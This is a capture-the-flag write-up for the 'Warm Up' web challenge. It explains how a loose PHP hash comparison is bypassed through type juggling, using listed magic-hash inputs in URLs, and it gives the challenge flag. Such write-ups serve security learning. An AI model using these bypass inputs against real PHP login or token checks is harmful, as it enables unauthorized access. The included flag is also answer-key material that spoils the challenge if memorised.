CSICTF-Writeups/Web/Warm Up/README.md

Warm Up

The main idea finding the flag is exploiting PHP type juggling.

Step-1:

After I visited the URL: http://chall.csivit.com:30272/, I was greeted with below code:

<?php  
  
if (isset($_GET['hash'])) {  
if ($_GET['hash'] === "10932435112") {  
die('Not so easy mate.');  
}  
  
$hash = sha1($_GET['hash']);  
$target = sha1(10932435112);  
if($hash == $target) {  
include('flag.php');  
print $flag;  
} else {  
print "csictf{loser}";  
}  
} else {  
show_source(__FILE__);  
}  
  
?>

Step-2:

Sha1 of 10932435112 is 0e07766915004133176347055865026311692244

The comparison if($hash == $target) is vulnerable because it is not a strict comparison with ===.

Step-3:

So a bit more deep search of sha1(10932435112) online gave me links to Magic Hashes

Step-4:

So, I tried the URL as any of the below. All have to work because all de-reference to same hash.

• http://chall.csivit.com:30272/?hash=aaK1STfY
• http://chall.csivit.com:30272/?hash=aaroZmOk
• http://chall.csivit.com:30272/?hash=aaO8zKZF
• http://chall.csivit.com:30272/?hash=aa3OFF9m

Any other hashes like MD5, will give false flag of csictf{loser}.

Voila! I got the flag.

Step-5:

Finally the flag becomes: csictf{typ3_juggl1ng_1n_php}